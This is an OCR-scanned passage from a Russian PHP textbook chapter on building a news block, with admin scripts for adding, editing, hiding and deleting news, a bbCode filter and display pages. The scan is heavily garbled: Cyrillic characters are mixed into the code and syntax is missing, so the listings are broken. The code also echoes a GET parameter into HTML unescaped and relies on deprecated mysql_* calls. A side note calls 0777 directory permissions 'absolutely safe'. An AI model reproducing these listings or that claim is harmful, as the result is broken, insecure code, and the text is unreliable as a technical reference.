550 Часть 11. Создание са йта в лист инге 10.2 приводится возможная реализация гл авной страницы систе­ мы администрирования блока новостей. Листинг 10.2 . Гла вная страница блока новостей <?php // Устанавливаем соединение с.базоЙ данных requi re_опсе (" ../ . ./ config/config . php") ; // Подключаем блок авторизации require_once ("../utils /security_rn od .php ") ; // Подключаем SoftTirne FrarneWo rk requi re_once (" ../ . ./config/c1ass . config . drn n .php ") ; // Подключаем блок отображения текста в окне браузера requi re_once (" ../utils/utils . print_page .php") ; // Переменные , определяющие название страницы и подсказку $tit1e = 'Управление блоком "Блок новостей" '; $pageinfo = '<р с1аss=hе 1р>Здесь можно добавить новостной блок, отредактировать или удалить уже суще ствующий БЛОК. </р>' ; // Включаем заголовок страницы requi re_опсе (" ../uti1s/top . php" ) ; try // Количество ссылок в постр аничной навигации $page_l ink = 3; // Количество позиций на странице $рпШТ1Ьеr = 10; // Объявляем объект постр аничной навигации $obj = new pager_rnys q1 ($tbl_news, "", "ORDER ВУ putdate DESC" , $рпШТ1Ье r, $page_l ink ) ;
Глава 10. Новостной бл ок // Добавить блок echo "<а href=news add . php ?page=$_GET [page ] titlе= ' Добавить новостной блок '> Добавить новостной блок< /а><Ьr><Ьr> "; // Получаем содержимое текущей страницы $news = $obj ->get - page() ; / / Если име ется хотя бы одна запись - выводим ее Н( !empty ($news ) ) ?> <table width="lOO%" class="table" border="O" cellpadding= " О " cellspacing="O"> <tr class="header" align= "center"> <td width=2 00>Дата</td> <td width=БО%>Новость </td> <td width=4 0>Из бр-е</td> <td>Действия</td> </tr> <?php for ($i О; $i < count ($news) ; $i++) // Если новость отмечена как невидимая (hide= 'hide'), выводим 551 // ссылку "отобразить ", если как видимая (hide= 'show' ) - "скрыть " $colorrow = ""; $url = "?id news= {$news [$i] [id_news ] } &page=$page "; if ( $news [$i] [ 'hide' ] == 'show' ) $showhide "<а href=newshide .php $url titlе= ' Скрыть новость в блоке новостей '> Скрыть</а>";
552 Часть 11. Создание са йт а else $showhide "<а href=news s how .php$url titlе= ' Отобразить новость в блоке новостей '> Отобразить</а>" ; $colorrow "class= ' hiddenrow '''; // Пр оверяем наличие изображения if ( $news [$i] ['urlpict '] != " && $news [$i] ['urlpict ' ] != '-' && iS_file (" ../ ../" . $news [$i] [ 'urlpict' ])) "<Ь><а href= ../ ../{$news [$i] [urlpict ] } >ecTb</a></b>"; else $url_p ict "нет"; $news_url= ""; if (!ernpty ( $news [$i] ['url'])) if( !preg_rna tch ("I ЛhttР : //l i", $nеws [ $i] ['url'])) $news [$i] ['u r l'] ''http://{ $news [$i] [url] } "; "<Ьr><Ь>Ссылка :</Ь> <а href=' {$news [$i] [url ] } '> { $news [$i] [urltext ] } </а>" ; if(ernpty ($news [$i] [ 'urltext ' ] ) ) "<Ьr><Ь>Ссылка :</Ь> <а hre f= ' {$news[$i] [url ] } '> { $news [$i] [url ] } </а>" ; // Преобразуем дату из формата MySQL УУУУ-ММ - DD hh :rnrn: ss // в формат DD .ММ.УУУУ hh :rnrn: ss
Гл ава 10. Новостной блок 553 ?> list ( $date, $time ) = explode (" ", $news [$i] ['putdat e'] ); list ( $year , $month, $day ) = explode ("-", $date) ; $news [$i] ['putdate '] = "$day . $month . $year $time"; // Выводим новость echo "<tr $colorrow > <td><p align=center> {$news [$i] [putdate ] } </td> <td> < а titlе= ' Редактировать текст новости ' href=news edit.php$url> { $news [$i] [пате ] } </a><br> ".n12br (print_page ($news [$i] ['body ' ])) ." $news_url </td> <td align=center>$url_pict</td> <td align=center>$showhide<br> <а hre f=# onClick=\ "delete_posit ion ( 'newsdel . php$url ' , ". "'Вы действительно хотите удалить ". " новостное сообщение? ') ;\" titlе= ' Удалить новость ' >Удалит ь</а><Ьr> <а href=news edit .php$url ) titlе= ' Редактировать текст новости '>Р едактировать </а>< /td> </tr> " ; echo "</table><br> "; / / Выводим ссылки на другие страницы echo $obj ; catch ( Excepti onМySQL $ехс ) require (" ../utils/excepti on_mys ql .php ") ; // Включаем завершение страницы require_once (" ../utils/bottom.php " ) ;
554 Часть 11. Создание са йт а Как видно из листинга 10.2, вывод новостных блоков из табл ицы sys ­ tern news ( $tbl_n ews) осуществляется при помощи объекта класса pager_rny sql (см. главу 7), который обеспечивает постран ичное представле­ ние резул ьтата SЕLЕСТ-запроса. Возможные ошибки My SQL-сервера обра­ баты ваются при помощи исключения типа Excepti onMySQL. Текст новости может содержать теги bbCode, предоставляющие пользовате­ лю возможность форматирования текста без использования поте нциально опасного НТМL-кода: CJ [Ь] .. . [/Ь ] - текст, заключенный в эти те ги, выделяется жирным шриф­ то м; их использование эквивал ентно <Ь>...</Ь>; CJ [i] ... [ / i] - текст, заключенный в эти те ги, выделяется курсивом (на­ клонным шрифто м); их использование эквивалентно <i>.. .</i>; CJ [url ] http: //www. site.ru[/url ] - ссыл ка, преобразующаяся к виду <а href = http :// www. site .ru >http :// www. site . ru< /a>; CJ [url=http :// www. site.ru ] TeKcT [/url ] - ссылка, преобразующаяся к виду <а href = http :// www. site . ru >текст</а>. Для их автоматической обработки перед выводом в окно браузера испол ьзу­ ется функция print_page () из файла util s/lIti ls.ргil1t--раgе .рl1р (л истинг 10.3). Листинг 10.3 . Обработка текста перед выводом в окно браузера <?php //////////////////////////////////////////////////////////// // ФУНКЦИЯ обработки bbCode //////////////////////////////////////////////////////////// fun ction print�age ($p ostbody ) // Разрезаем слишком длинные слова $postbody = preg_replace_cal lback ( " 1 ([а-zа-я\d !]{ 35, }) I i", "split_t ext " , $postbody ) ; // Предотвращаем ХSS-инъекци и $postbody = htrnlspecialchars ( $pos tbody , ENT_QUOTES ) ; // Тэги $pattern = "#\ [Ь\] (.+)\[\ /b\ ]#isU" ;
Гл а ва 10. Новостной блок $postbody = preg_replace ( $pattern, ' <Ь> \ \l</b> ', $pos tbody ) ; $pattern = "#\ [i\] (.+ )\[\/i\] #isU"; $postbody = preg_replace ($pattern, '<i>\ \l</i> ' , $postbody ) ; $pattern = "#\ [ur l\] [\s] *([\ 8 ]*) [\s] *\ [ \/url\ ]#si" ; $postbody = preg_replace_callback($pattern, "url_replace" , $postbody ) ; $pattern = 555 "#\[url[\s] *= [\s]* ( [\8] +) [\s]*\][\s]* ( [Л\ []*)\ [/url\]#isU"; $postbody = preg_replace_callback($pattern, "url_rep lace_name " , $postbody ) ; return $postbody ; function url_repl ace ( $matches) if (sub str ( $matches [l] , О, 7) != ''http ://'') $matches [l] ''http: //'' . $matche s [l] ; return "<а href= ' $matches [l] , class=news_txt_lnk>$rnatches [l] </a>"; function url _ replace_name ($matches ) if (sub str ( $matches [l] , О, 7) != ''http://'') $matches [l] ''http: //''. $matches [l] ; return "<а href= ' $rnatches [l] , class=news_txt_lnk>$rnatches [2] </a>" ; function split_t ext ($matches )
556 Часть 11. Создание сайта return wordwrap ($rnatches [ l] , 35, , ',1); ?> Функция print_page () принимает текст и преобразует все bbCode в и х НТМL-эквиваленты, предварител ьно преобразовав текст при помощи функ­ ции htm1specia1chars (), а также разбив слишком дл инные слова при помо­ щи функции preg_rep1ace_callback () и функции обратного вызова split_text (). При обработке URL также используются функции обратного вызова, которые "следят" за те м, чтобы URL содержал префикс l1ttp ://; есл и тако й префикс не обнаружен - он добавляется автоматически . Такая обра­ ботка URL позволяет избежать частой ошибки, когда вместо http ://www .site. ru в качестве URL испол ьзуется www.site. ru, что приводит К формированию относительной, а не абсолютной ссылки. Добавление новостного бл ока осуществляется при помощи скрипта newsadd.php, представленного в листи нге 10.4. Листинг 10.4. Добавление новостного блока, newsadd.php <?php // Устанавливаем соединение с базой данных require_once (". ./ ../config/config .php ") ; // Подключаем блок авторизации require_once (" ../uti1s/security_mod .php ") ; // Подключаем классы формы require_once ("../ ../config/c1ass . config .dmn.php " ); if (emp ty ( $_POST )) { // Отмечаем флажок hide $_REQUEST ['h ide' ] = true ; try $ паше new field_text ( "паше " , "Название " , true , $_POST ['паше ']);
Глава 10. Новостно й бл ок $body = new field_t extarea ( "body" , "Содержимое " , true , $url '$urltext $date $hide $urlpict $page $for:m $_POST ['body' ] ) ; new field_t ext ("url", "Ссылка ", false, $_POST ['url' ] ) ; new field_t ext ("urltext ", "Текст ссыпки", fal se, $_POST ['urltext']); new field_da tetime ("date ", "Дата новости" , $_POST['date' ]); new field_checkbox ( "hide " , "Отображать ", $_REQUE ST ['h ide']); new field_file ("urlpict", "Изображение " , false , $_FI LE S, " ../ ../files/news /") ; new field hidden_ int ("page " , "", true , $_REQUEST ['p age' ] ); new form(array("name" => $name , "body" => $body, "url" => $url, "urltext " = > $urltext , "date" => $date, "hide" => $hide, "urlpict " = > $urlpict , "page" => $page) , 557
558 "Добавить ", "field" ); Часть 11. Создание сайта // Обработчик НТМL-формы if ( !empty($_POST) ) { // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $form->check () ; if (empty ($e rror) ) // Выясняем, скрыта или открыта директория if ($form->fields ['h ide'] ->value ) $sh owhide else $showhide = "hide" ; / / Изображение "show" ; $str = $form->fields ['urlpict ']->get_filename () ; if ( ! empty ($str) ) $img "files/news/" . $form->fields [ 'urlpict ' ] ->get_filename () ; else $img = "; // Формируем SQL-запрос на добавление // НОВОСТНОГО сообщения $query = "INSERT INTO $tbl_news VALUE S (NULL , ' {$form->fields [name ] ->value )', ' { $form->fields (body ] ->value )', ' {$form->fields [date ] ->get_mysql_format () )', ' {$form->fields [url ] ->value )', ' { $form->fields [urltext ]->value )', '$img ' , '$showhide')"; if ( !mysql_query ($query)) throw new Excepti onМySQL (mysql_error () , $query,
Глава 10. Новостной бл ок } "Ошибка добавления новостного сообщения" ) ; // Осуще ствляем перенаправление // на главную страницу администрирования 559 header ( "Location : index . php ?page= ($fonn->fields [page] - >value } ") ; ехН(); } // Начало страницы $title 'Добавление новостного сообщения '; $pageinfo '<р class=help></p> '; // Включаем заголовок страницы require_once (" ../utils /top .php" ) ; echo "<р><а hre f=# onClick= 'history . back () '>Назад< /а></р> "; / / Выводим сообщения об ошибках , если они имеются if ( ! ernpty ($error) ) foreach ($error as $err) echo "<span style=\"color :red\ ">$err</span><br> "; } / / Выводим НТМL-форму $fonn->print_fonn ( ); catch ( Except ionObj ect $ехс ) require ("../utils / excepti on_obj ect . php" ) ; catch ( Excepti onМySQL $ехс ) require ("../utils/excepti onyysql .php ") ;
560 Часть 11. Создание са йт а ?> catch ( ExceptionМernber $ехс ) requi re ("../utils/except ion_mernb er .php ") ; // Включаем заБерше�ие страницы require_o nce ("../utils/bottom.php ") ; НТМL-форма для добавления новостного сообщения содержит три тексто­ вых поля : название пате , ссылка url И текст ссылки urltext. Помимо это г о в ней присутствуют текстовая область body для текста новости, бл ок даты и времени дл я указания времени размещения новости (по умолчанию подстав-' ляются текущие дата и время), флажок hide дл я выбора статуса новостного сообщения (скрытое или доступное дл я просмотра) и поле ДЛЯ загрузки изо­ бражения на сервер urlpict. C�bulJta: Текст ссылки: Дот новости: Orооражаrь: �1:!оБРllже,*lе: 1. ... ..... ......... .......... .. ...... .... ............ .. 1.�.�. �19?ml?9.g?� 11?!tiII�?lEJ р Рис. 10.2 . Добавление новостного сообщения
Гла ва 10. Новостно й бл ок 561 Кроме того, через скрытое поле page передается номер страницы в систе ме постраничной навигации для корректного возврата на страницу, с которой п осетител ь осуществляет добавление новостного сообщения. Внешний вид НТМL-формы приведен на рис. 10.2 . Общий механизм добавления новой записи в базу данных совпадает с ранее рассмотренными НТМL-формами. Стоит, пожалуй, подробнее остановиться н а загрузке на сервер файла изображения. Для хранения файлов в корне сайта обычно выделяют отдельную директорию, например, /files, при это м для каждого блока в директории выделяется отдел ьная поддиректория : /files /news /article /catalog ЗА МЕЧА НИЕ в системе UNIX, традицион но используемой в качестsе операционной сис­ темы на серверах хост-провайдеров, зачастую различны владелец файлов и пользователь, из-под учетной записи которого запущен Web-сервер. Бо­ лее того , иногда они даже не входят в общую группу, поэтому для того что­ бы РНР-скрипт, работающий от имени пользователя Apache, мог осуществ­ лять запись в директорию, приходится давать ему максимальные права доступа - 0777. На современных серверах это абсол ютно безопасно, так как искл ючает возможность редактирования файлов из скриптов соседнего аккаунта. Каждый из блоков хранит свои файлы в отдел ьной поддиректории, однако уровень вложения блока представления и системы администрирования не совпадают, и при оперировании в системе администрирования путь к файлу следует предварять префиксом " ../ ../ " . При этом в базу данных путь поме­ щается без префикса - это позволяет оперировать путями к файлам из сис­ те мы представления, не добавляя никаких префиксов. Редактирование новостного блока осуществляется при помощи скрипта newsedit.php, содержимое которого представлено в листинге 10.5. В качестве GET-параметра скрипту передается первичный кл юч редактируемого ново­ стного сообщения id_news . Помимо этого скрипт может принимать необяза­ тельный GET-параметр page, обеспечивающий возврат на текущую страницу в рамках постраничной навигации.
562 Часть 11. Создание са йт а Листинг 10.5 . Редактирование новостного бло ка, newsedit.php <?php // Устанавливаем соединение с базой данных require_once ("../ ../config/config .php ") ; // Подключаем блок авторизации require_once ("../utils/security_m od .php ") ; // Подключаем классы формы require_once ("../ ../config/class . config .dmn.php ") ; // Пр едотвращаем SQL-инъекцию $_GET ['id_news '] intval ( $_GET ['id_news ']); try // Извлекаем из таблицы news запись , соответствующую // исправляемому новостному сообщению $query = "SELECT * FROM $tbl_news WHERE id_news=$_GET [id_news ]"; $new = my sql_que ry ( $query) ; Н(!$new) throw new ExceptionМySQL (mys ql_error () , $query, "Ошибка при обращении к таблице новостей" ); $news = mysql_fetch_array ($new ) ; if (emp ty ( $_POST )) // Берем информацию для оставшихся переменных из базы данных $_REQUEST = $news ; $_REQUEST [ 'date ' ] [ 'month ' ] $_REQUEST ['date'] ['day '] $_REQUEST [ 'date ' ] ['year ' ] $_REQUEST ['date' ] ['hour' ] substr ( $news ['putdate '],5 ,2) ; substr ( $news ['putdate '],8,2) ; substr ( $news ['putdate '],O,4) ; substr ( $news ['putdate '],11,2) ;
Глава 10. Новостно й блок $_REQUEST ['date' ] ['rni nute '] = substr ( $news ['putdate '],14,2) ; // Определяем, скрыто поле или нет if ( $news ['hide' ] == 'show' ) $_REQUEST ['hide' ] else $_REQUEST ['h ide' ] = fa lse ; true ; $пате $body $url $urltext $date $hide new field_t ext ("name", "Название " , true , $_REQUEST ['name']); new field_t extarea ("body" , "Содержимое " , true , $_REQUEST ['body ' ]); new field_t ext ("url", "Ссылка " , false, $_REQUE ST ['url' ]); new field_text ("urltext", "Текст ссылки" , false, $_REQUE ST ['urltext']); new field_d atetime ("date ", "Дата новости" , $_REQUE ST ['date' ]); new field_checkbox ( "hide " , "Отображать " , $_REQUE ST ['hide' ]); $filename new field_file ("filename " , "Изображение " , false, $_FILES , " ../ ../files/news /") ; new field_hidden_int ("id_news " , "", 563
564 $page new field_hidden_int ("page ", "", Часть 11. Создание са йта $_REQUE ST [ 'page' ]); / / Инициируем форму ма ССИВ ОМ из двух элементов // упр авления - поля ввода name и текстовой области // textarea if (empty ($news ['urlpict '])) $form else new form( array("name" => $name, "body" => $body, "url" => $url, "urltext " = > $urltext , "date" => $date, "hide" => $hide , "filename " = > $fi lename , "id news " => $id_news , "page" => $page) , "Редактировать " , "field" ); // Удаление изображения $delimg = new field_checkbox ("delimg" , $form "Удалить изображение ", $_REQUE ST ['delimg' ] ); new form(array("name " => $name, "body" => $body , "url" => $url, "urltext " = > $urltext , "date" => $date , "hide" => $hide, "delimg " = > $delimg , "filename " => $fi lename , "id news " = > $id_news , "page" => $page) ,
Глава 10. Новостной бл ок "Редактировать ", "field" ); // Обработчик НТМL-формы Н( !ernpty ( $_POS,T) ) // Пр оверяем корректность заполнения НТМL-формы // и обрабатыв аем текстовые поля $error = $form->check () ; if (emp ty ( $error) ) // Проверяем, скрыта или открыта директория if ($form->fields ['h ide' ] ->value ) $showhide = "show" ; else $showhide = "hide"; // Удаляем старые файлы, если они имеются $urlyict = ""; $str = $form->fields ['delimg' ] ->value ; if (!empty ($str) II !empty ($_F ILES ['filename '] ['пате' ])) $path = str_replace ("//", "/", " ../ ../" .$news [ 'urlpict ' ] ) ; if ( file_exists ($path) ) @unlink ($path ) ; "urlpict " " . ,, if( !ernpty($_FILES[ 'filename ' ] [ 'пате'] ) ) "urlpict = 'files /news/" . $form->fields [ 'fi lename ' ] ->get_filename () . '" , "; // Формируем SQL-запрос на добавление новости $query = "UPDATE $tbl_news SET пате body ' { $form->fields ['name' ] ->value ) ', ' {$form->fields ['body' ] ->value ) ', 565
5бб Часть 11. Создание са йта putdate = '($form->fields ['date' j ->get_rnys ql_forrnat () }', url = ' { $form->fields ['url'j->value } ', urltext = ' { $form->fields ['urltext' j ->value }', $urlyict hide = ' {$showhide} , WНERE id_news=" .$form->fields ['id_news ' j - >value ; Н( lrnys ql_query ( $query) ) throw new Excepti onМySQL (rnysql_error () , $query, "Ошибка при редактировании новостнога сообщения ") ; // Осуществляем переадресацию на главную страницу // администрирования header ("Location : index . php ?page= {$form->fields [page j ->value }") ; exit () ; // Переменные , определяющие название страницы и подсказку $title = "Редактирование новости"; $pageinfo= '<p class="help "></p> '; // Включаем заголовок страницы require_once ("../utils / top .php ") ; echo "<р><а href= # onClick= ' history . ba'ck () '>Назад</а></р>" ; / / Выводим сообщения об ошибках , если они имеют ся if( lernpty($error) ) foreach ($error as $err) echo "<span style=\"color : red\ ">$err</span><br> ";
Глава 10. Новостно й бл ок ?> 11 Выводим НТМL-форму $form->print_form () ; catch ( Except ionObj ect $ехс ) require ("../utils/excepti on_obj ect . php" ) ; catch ( ExceptionМySQL $ехс ) requi re (" ../utils/excepti on_mysql.php ") ; catch ( ExceptionМember $ехс ) require (" ../utils/except i on_membe r.php ") ; 11 Включаем завершение страницы requi re_once (" ../utils/bottom.php ") ; 567 По мимо элементов, рассмотре нных при описании НТМL-формы добавления новости, скрипт редактирования новостного блока содержит скрытый эле­ мент управления id_news . Кроме того, если новостной блок содержит изо­ браже ние, то в НТМL-форму встраивается флажок delimg, позволяющий удалить и его . Кроме того, старое изображение удаляется и в том случае, ко­ гда производится загрузка нового изображения. В конечном итоге формиру­ ется UPDAТЕ-запрос, который позволяет обновить данные в табл ице system_n ews ( $tb l_news) . За удаление новостного сообщения несет ответственность скрипт newsdel.pllp, который точ но так же, как и скрипт l1 ewsedit.php, может прини­ мать два GET -параметра: id_news - первичный кл юч удал яемой записи и page - номер страницы в постран ичной навигации (для корректного возвра­ та назад). Содержимое скрипта l1ewsdel.pIJp приводится в листинге 10.6 . Л и стин г 10.6. Удаление новостного сообщен ия, ne wsdel.php <?php 11 Устанавливаем соединение с базой данных
568 require_o nce (" ../ . ./config/config .php ") ; // Подключаем блок авторизаци и require_once ("../utils/security_mod .php ") ; // Подключаем SoftTime FrameWork Часть 11. Создание са йта requi re_once ("../ ../config/class .config .dmn.php ") ; // Проверяем параметр id_пеws , пр едотвращая SQL-инъекцию $_GET ['i d_news '] intval ( $_GET ['id_news ']); try // Если новостное сообщение содержит // изображение - удаляем его $query "SELECT * FROM $tbl_news WНERE id_news =$_GEТ [id_news ] "; $new = my sql_que ry($que ry) ; if( !$new) throw new Excepti onМySQL (mys ql_error () , $que ry, "Ошибка удаления новостного блока" ) ; if (mysql_num_rows ($new ) > О) $news = my sql_fetch_a rray ($new ) ; if (file_e xists ("../ ../" . $news ['urlpict ' ] ) ) @uпliпk (" ../ ../" . $news [ 'urlpict ' ] ) ; // Формируем и выполняем SQL-запрос // на удаление новостного блока из базы данных $query = "DELETE FROM $tbl news WНERE id_news=$_GET [ id_news ] LIMIT 1"; if (mysq1_query ($que ry) )
Глава 10. Новостной бл ок ?> header ( "Location : index . php ?page=$_GET [page] ") i else throw new Excepti onМySQL (rnysql_e rror () , $que ry, catch ( Except i onМySQL $ехс ) "Ошибка удаления новостного блока" ) ; requi re ("../utils/excepti on_rnys ql .php ") ; 569 Прежде чем удалять запись, соответствующую первичному кл ючу $_GET ['id_news ' ] из табл ицы systern_n ews ( $tbl_news) , скрипт пеwsdеl.рllР проверяет, не содержит ли новостной блок изображе ния. Если изображение имеется, оно удаляется при помощи функции un link (). Лишь после этого новостной блок удаляется из базы данных при помощи DЕLЕТЕ-запроса. Есл и новостной блок является скрыты м от просмотра посетителя ми (поле hide принимает знач ение hide) , напротив него выводится управляющая ссылка Отобр аз ить, которая указывает на файл пеwsshоw.рllр. Есл и новост­ ной блок доступен для просмотра (поле hide принимает значение show) , на­ проти в него выводится управляющая ссылка Скр ыть, которая указывает на файл пеwshidе.рl1Р. Оба файла принимают в качестве GЕТ- параметров пер­ вичный ключ новостного сообщения id_news И номер страницы в постран ич­ ной навигации page для корректного возврата. В листинге 10.7 приводится содержи мое файла newshide.pI1p. Листинг 10.7. Сокрытие новостного блока, news hide.php <?php // Устанавливаем соединение с базой данных require_once (". ./ ../con fig/config .php ") ; // Подключаем блок авторизации requi re_once (" ../utils/security_rnod .php" ) ; // Подключаем SoftTirne FrarneWo rk requi re_once ("../ ../config/class . config . drn n .php") ;
570 Часть 1/. Создание сайт а ?> // Проверяем параметр id_пеws , предотвращая SQL-инъе кцию // Скрываем новость try iпtvаl ( $_GЕТ ['id_пеws ')); $query = "UPDATE $tbl_пеws SET hide= 'hide ' WНERE id_пеws=" . $_GET ['id_пеws ' ) ; if (mysql_query ($que ry) ) hеаdеr ("Lосаtiоп : iпdех . рhр ?раgе=$_GЕТ [раgе ) ") ; else throw пеw Excepti onМySQL (mysql_error () , $query , catch ( Excepti onМySQL $ехс ) "Ошибка при обращении к блоку новостей") ; require (". ./utils/ ехсерtiоп_mуs ql . рhр ") ; Файл newsshow.pllp полностью эквивалентен файлу newsl1ide.pllp за исклю­ чением SQL-запроса, меняющего статус новостного блока (л истинг 10.8). Листинr 10.8. Отображение HOBoCTHoro блока, newsshow.php <?php $que ry ?> "UPDATE $tbl_пеws SET hide= 'show ' WНERE id_пеws=$_GET [id_пеws ) " ;
Глава 10. Новостно й бл ок 571 1 0.3 . С исте ма предста вления Инструментарий для заполнения базы дан ных создан . Теперь следует занять­ ся в ыводом новостных бл оков на страницы саЙта. Как правило, для новост­ ного блока подготавливают два скрипта: первый выводит три последние но­ вости в кратком виде и ссылку на полный список новостей, второй ­ осуществляет вывод списка новосте й и просмотр полных версий. На рис. 10.3 приводится возможный внешний вид новостного блока. о новости ---- - - ----_. _-- 21.06.2007 I OAJl lt"'l AцaTbl ,,; КoвoCfкoe со о бщ�Н8Ie._ · , · олиНН�дUaТое К08� co ofj Щ�. Оlll1Ннадштое ноеостЮе �"" "" """ •. noдробнее. ;.-.. ' 20.06.2001 I дraпое ti'oвOcт Иoe с0 06щ eиne. ,\;.,� " Деаотое моeocrное сообщение:Дear r ое новостное.�бщеН'1е. Дe� HQвot:fHoe со общ ение ; де<ятое ное" " .." . • •.<" �2" •�.R9.2t'c�.I:· 19.06.2007 I Де8ятое.IfОllOCТlf0<! . со о бщeкl li. �, .• .. '. ." Девя тое .:ювост..оесо общ etlj1е. дО!3АТое •Н08OCJ"Н Of: CDOбщl!Нне� Девятое HD8DC'IliOe · 'сообщение : д . еая"Оеновос: .. , ..' I � . ,_ : � ��.� , ;�'.:. , . '�. '� �' .� . 6(е tюеости • '. " ;•.r.· ,. . . '1 2007·06·21 16:46:00 I OДR>lllaДцaToe новостное сообщеtme. .. OДHННaдU!iТoe НОВОСТliое сообшек-.е.. О,nиннадuaтое новостное CDобщен-te .•• • nOАса6НЕ:е 2007·06 ·20 16:46:00 I Десятое навастное со о бщекие. Десятое новостное ссюбщеНl1е. Десятое новостное CDобщetl ll е. Десятое новостное сообщение. Десятое новое .. • 2007·06·19 16:45:00 I Девятое новостное со о бщен"е. Девятое НС:6С<П-iое CDобщеНl1е. Девятое новоаное сообщение. ДевЯТQe flOBOCn-юe CDобще:-Ь'�. Девятое НО60с. . •• 2007·06·18 16:45:00 I Восьмое "овосткое сообщен.. .,. ВОCbl'Юе новостное сообщение. BOCb!'toe новостное сообщ.ение. Восьное новостное сообщение. Бсм:ы1Of: новое ••• 2007·06 ·17 16:44:00 I седьиоеновостное сообщ.... . е. Ce.ablloe НOБOCТ!iое сообщение. Седьмое новостное сообщеНl1е. Седы'1Щ!: HOBocrнoe сообщение. СеДЫ40е новое . . Рис. 10.3 . С истема представления новостного блока На рис. 10.3 в левой части страницы выводятся три последние новости, кото­ рые отображаются на каждой из страниц сайта; справа отображается текущая информация - в данном случае это полный список новостных бл оков. Пере­ ход по ссылке подробнее ... приводит К отображе нию полной версии новост­ ного блока (рис. 10.4). В листинге 10.9 приводится скрипт, выводящий три последних новостных сообщения в левой части саЙта.
572 о новости -- --------------------------- :1L06.2007 1 ОдlillШlдцаrо�" , HOBOCJtfOe аю6щекме. Одиннадu.arое kOвостное сообщение.'" ОДl1ннадцатое новостное сооБШен&"е.. • • пщ,""бнее' 20.05::1007 I Д"CAT� новостиое ,со о 6щ..нке. ' " " ДеС5П� HoeoCтHo€ соofЩеНl1е: дedпое . нoвocrнoе':с:оОбшение . Десятое 1iDВDCrное ' .. соо5щеli�1е! десят{)е ноВОС: • .' ' ,,' • , .,. noД[ю€не:е 19.06 .2007 I Д..аяrое ковостоюе , со06щ..нке. . ' Де'в';тое нo oocr "oe o:ioбщен"е , Дееят"" С' нoвpc:-r : no! ' софщеНI1!' . Девятое ноеoqное . (ообщен"" Девя тое Н080(" . . . , ." _., , ,' .�АР.обне'е ... .. --. ' Часть /1. Создание са йта 2L06.2007 l OДnНHaдцaToe но.астно" со о бщение. Одинналuarое H080(1r.oe (QоБщetИe. ОД}1ннаДЦЗТDe новостное сообш.erI'Ie. Одиннадцатое НQВостtюе · сооБWeJ-l'le. О.аинна.аuaтое НО8ОСТное сooбuJ.ение. ОДi-,f1,':IdдiJдтоеновостное CDоБЩet:l1е. ОДИННElд.ц3Тое новостное сооБЩЕние• 0l1l1HHa.w. .e roe новостное сообщение. ОДJ1ннадuзтое новостное сообщение. OA�IHHallцaтDe новосгнсе ·сообщet-lИe:. Одиннадцатс.е новостное .сооБЩЕние. ОдиннаllUёlтое ноеОС1'ное сОобщеН1е. Однннадi. .l,a Тое новостноеi:ообш,ение. ОДJ1ннадцатое H050CТfloe -сообшel-lИe. О,динна.а. . uaтое ноеостное: сообщеН1е. ОДl1нналuaтое новостное CDоБЩet:t1e. ОдиннаДJ. ..l,3 тое HOBOcтt10e сообwеНi'Jе. ОДI1ННa:д1. .I,1П De новостное ·сообщение. Оl1иннаDuaтое новостное сообщение. ОДИННадu.aтое НОВОCThlое сообщet:Иe. оД:иннад.цатое ноеостное сооБЩE:НI.1е. Рис. 10.4 . Полный вариант новостного сообщения ЗА МЕЧА НИЕ Здесь не описывается стил евое оформление страницы предста вления, включающее, по аналогии со стра ницами адм инистрирования, шапку top.php и завершение страницы bottom,php, Предполагается , что дизайн будет изменяться дл я каждого нового сайта , и блок представления служит лишь примером возможной реализации , Полный вариант системы пред­ ставления можно найти на ко мпакт-диске , поставляемом вместе с книгой. Листинг 10.9 . ВЫВОД последних трех новостных позици й , top.php <?php // Устанавливаем соединение с базой данных require_once ("c onfig/config .php" ) ; // Подключаем систему классов requi re_once ("c onfig/class . config .php" ) ; // Подключаем функцию вывода текста с bbCode require_опсе ( " drn n /utils /utils . printyage . php " ) ;
Глава 10. Новостно й блок $query = "SELECT id_new s, пате , body , DATE_FORМAT (putdate , '%d. %m. %Y ') as putdate_format , url , urltext , urlpict , hide FROM $tbl_news WНERE hide = 'show ' ORDER ВУ putdate DESC LIMIT 3"; $new = my sql_que ry ( $query) ; if (!$new ) exit ("Ошибка при обращении к блоку новостей" ) ; if (mуs ql_пuш_rОWS ($пеw) ) $patt = array("[b] ", "[/b]fl , "[i] ", "[/i] ") ; $repl = array('''' , 1" ', 1111, ' ' ''); $pattern_url = " 1 \[url [Л\] ]*\] 1 "; $pattern_b _url = " 1 \[/url[Л\] ]*\] 1 "; wh ile ($news_up = my sql_fetch_a rray ($new ) ) if (strlen ( $news_up[ ' body ' ]) > 100) 573 $news_up ['body' ] $news_up [ 'body ' ] $news_up ['body' ] substr($news_up['body'] , о, 100) .". . . "; str_rep lace ($patt , $repl , $news_up[ ' body ' ]); preg_repl ace ( $pattern_url , $news_up ['body ' ] "", $news_up['body ' ]); preg_rep 1ace ($pattern_b _url , "", $news_up ['body' ] ) ; echo "<b>$news_up [putdate_format ] 1 " .printyage ($news_up ['пате' ]). "</b><br> " .print_page ($news_up [ 'body ' ] ) . " <div align=\"right\"> <а hre f=\ "news . php?id_news=$news_up [id_news ]\" class=\ "rightpanel_lnk \">
574 Часть 11. Создание са йта ?> подробнее </а> </div> <br> "; echo "<div align=\"center\"> <а href=\ "news .php \" class=\ "rightpane l_lnk\ " >Bce новости< /а><Ьr> </div><br> "; Для того чтобы выбрать последние три новостных блока, в SQL-запросе осуществляется обратная сортировка ( ORDER ВУ . . . DESC) по календарному полю putdate при одновременном огран ичен ии кол ичества выбираем ых записей при помощи конструкции LIMIT. Текст новости может быть достаточно объем ным, поэто му в нашем сокра­ щен ном вар ианте имеет смысл ограничить его сотней символов при ломощи функции substr (). Так как функция может разрезать текст на части таким образом, что для откр ывающего тега bbCode не окажется парного закры ваю­ щего тега, из краткого варианта новостн ой позиции удаляются все bbCode­ теги . Просты е теги [i] , [/i] , [Ь] , [/Ь] удаляются при помощи функции str_replace (), В то время как дл я сложн ых тегов [url= ] И [/url ] необход и­ мо создавать регулярные выраже ния и испол ьзовать функцию preg_ replace ( ). Перед выводом в окно браузера текст новостного сообще­ ния обрабатывается функцией print_page () (листинг 10.3) из файла dmn/utils/uti ls.pril1t. .jJ age.php . В листинге 10.1О приводится содержимое файла l1ews.pI1p, который несет от­ ветственность за формирование сп иска новостных сообщений и отображение полного варианта новости . Л истинr 10.10. Список новостей, news.php <?php // Устанавливаем соединение с базой данных requi re_once ("config/config .php" ) ; // Подключаем SoftTirne FrameWork rеqui 